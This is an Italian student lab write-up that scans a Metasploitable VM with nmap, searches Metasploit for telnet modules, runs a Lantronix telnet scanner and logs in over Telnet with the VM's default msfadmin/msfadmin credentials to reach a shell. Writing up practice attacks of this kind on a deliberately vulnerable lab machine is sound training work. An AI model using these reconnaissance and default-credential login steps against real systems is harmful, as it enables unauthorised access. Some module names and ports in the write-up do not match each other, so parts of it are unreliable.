

W16D1 - Pratica (1)

Telnet



Scansione con nmap per individuare le vulnerabilità del host obiettivo.

In questo caso cercavamo la porta 23 comunemente associata al protocollo Telnet, che è utilizzato per stabilire una connessione remota a un dispositivo di rete come un **router**, uno **switch**, un **server**.

```
(kali@kali)-[~]
└─$ sudo su
[sudo] password for kali:
(kali@kali)-[/home/kali]
└─# nmap -sV -O 192.168.1.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 16:54 CEST
Nmap scan report for 192.168.1.40 (192.168.1.40)
Host is up (0.0020s latency).
Not shown: 984 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
23/tcp    open  telnet       Linux telnetd
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:52:AD:CA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.95 seconds
```

Alcune caratteristiche principali di Telnet:

1. **Protocollo non sicuro:** Telnet trasmette i dati, incluse le informazioni di autenticazione, in chiaro senza crittografia. Questo significa che può essere facilmente intercettato e letto da terze parti non autorizzate.
2. **Accesso remoto:** Telnet permette agli utenti di accedere a un dispositivo remoto come se fossero connessi fisicamente a quest'ultimo. Questo accesso è generalmente ottenuto attraverso un'interfaccia a riga di comando (CLI).
3. **Utilizzo di comandi:** Una volta stabilita la connessione, l'utente può eseguire una vasta gamma di comandi sul dispositivo remoto, proprio come farebbe se fosse fisicamente presente.
4. **Obsoleto e sconsigliato:** A causa dei problemi di sicurezza legati alla trasmissione non crittografata, Telnet è considerato obsoleto e non è più raccomandato per l'uso nelle reti moderne. Al suo posto, il protocollo SSH porta 22 (Secure Shell) viene utilizzato comunemente, in quanto offre un canale di comunicazione crittografato.
5. **Facilità di configurazione:** Nonostante i suoi problemi di sicurezza, Telnet è stato ampiamente utilizzato in passato perché è relativamente facile da configurare e utilizzare. Molti dispositivi di rete e sistemi operativi dispongono di supporto nativo per Telnet.
6. **Utilizzi in reti chiuse:** In alcune circostanze, Telnet può ancora essere utilizzato in ambienti di rete molto sicuri e chiusi, dove i rischi associati possono essere mitigati.

Proseguiamo avviando il servizio MSFcontrol ed effettuando una ricerca per il modulo adatto alla vulnerabilità che vogliamo testare.

```
msf6 > search telnet

Matching Modules
=====


| Rank | Name                                               | Description                                                       | Disclosure Date | Rank      | Checked |
|------|----------------------------------------------------|-------------------------------------------------------------------|-----------------|-----------|---------|
| 0    | exploit/linux/misc/asus_infosvr_auth_bypass_exec   | ASUS infosvr Auth Bypass Command Execution                        | 2015-01-04      | excellent | No      |
| 1    | exploit/linux/http/asuswrt_lan_rce                 | AsusWRT LAN Unauthenticated Remote Code Execution                 | 2018-01-22      | excellent | No      |
| 2    | auxiliary/server/capture/telnet                    | Authentication Capture: Telnet                                    |                 | normal    | No      |
| 3    | auxiliary/scanner/telnet/brocade_enable_login      | Brocade Enable Login Check Scanner                                |                 | normal    | No      |
| 4    | exploit/windows/proxy/ccproxy_telnet_ping          | CCProxy Telnet Proxy Ping Overflow                                | 2004-11-11      | average   | Yes     |
| 5    | auxiliary/dos/cisco/ios_telnet_rocem               | Cisco IOS Telnet Denial of Service                                | 2017-03-17      | normal    | No      |
| 6    | auxiliary/admin/http/dlink_dir_300_600_exec_noauth | D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution | 2013-02-04      | normal    | No      |
| 7    | exploit/linux/http/dlink_diagnostic_exec_noauth    | D-Link DIR-645 / DIR-815 diagnostic.php Command Execution         | 2013-03-05      | excellent | No      |
| 8    | exploit/linux/http/dlink_dir300_exec_telnet        | D-Link Devices Unauthenticated Remote Command Execution           | 2013-04-22      | excellent | No      |
| 9    | exploit/unix/webapp/dogfood_spell_exec             | Dogfood CRM spell.php Remote Command Execution                    | 2009-03-03      | excellent | Yes     |
| 10   | exploit/freebsd/telnet/telnet_encrypt_keyid        | FreeBSD Telnet Service Encryption Key ID Buffer Overflow          | 2011-12-23      | great     | No      |
| 11   | exploit/windows/telnet/gamsoft_telsrv_username     | GAMSoft TelSrv 1.5 Username Buffer Overflow                       | 2000-07-17      | average   | Yes     |
| 12   | exploit/windows/telnet/goodtech_telnet             | GoodTech Telnet Server Buffer Overflow                            | 2005-03-15      | average   | No      |
| 13   | exploit/linux/misc/hp_jetdirect_path_traversal     | HP Jetdirect Path Traversal Arbitrary Code Execution              | 2017-04-05      | normal    | No      |
| 14   | exploit/linux/http/huawei_hg532n_cmdinject         | Huawei HG532n Command Injection                                   | 2017-04-15      | excellent | Yes     |
| 15   | exploit/linux/misc/igel_command_injection          | IGEL OS Secure VNC/Terminal Command Injection RCE                 | 2021-02-25      | excellent | Yes     |
| 16   | auxiliary/scanner/ssh/juniper_backdoor             | Juniper SSH Backdoor Scanner                                      | 2015-12-20      | normal    | No      |
| 17   | auxiliary/scanner/telnet/lantronix_telnet_password |                                                                   |                 | normal    | No      |


```

Individuato il modulo procediamo con comando use e show options

```
msf6 auxiliary(scanner/telnet/lantronix_telnet_version) > show options
```

```
msf6 auxiliary(scanner/telnet/lantronix_telnet_version) > show options
Module options (auxiliary/scanner/telnet/lantronix_telnet_version):
  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    192.168.1.40     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     9999              yes       The target port (TCP)
  THREADS   1                 yes       The number of concurrent threads (max one per host)
  TIMEOUT   30                yes       Timeout for the Telnet probe
```

Per il modulo scelto non c'è bisogno di specificare un payload, come si può vedere dalla figura non è richiesta nessuna opzione. Possiamo quindi eseguire l'attacco con il comando «exploit»

```
msf6 auxiliary(scanner/telnet/lantronix_telnet_version) > exploit
```

```
[*] 192.168.1.40:9999 - Scanned 1 of 1 hosts (100% complete)
```

```
[*] Auxiliary module execution completed
```

```
msf6 auxiliary(scanner/telnet/lantronix_telnet_version) > telnet 192.168.1.40
```

```
[*] exec: telnet 192.168.1.40
```

```
Trying 192.168.1.40 ...
```

```
Connected to 192.168.1.40.
```

```
Escape character is '^]'.  
Home burp
```

```
metasploitable
```

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin

Password:

Last login: Tue Jun 4 10:39:12 EDT 2024 on tty1

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:

<http://help.ubuntu.com/>

No mail.

msfadmin@metasploitable:~\$ whoami

msfadmin

msfadmin@metasploitable:~\$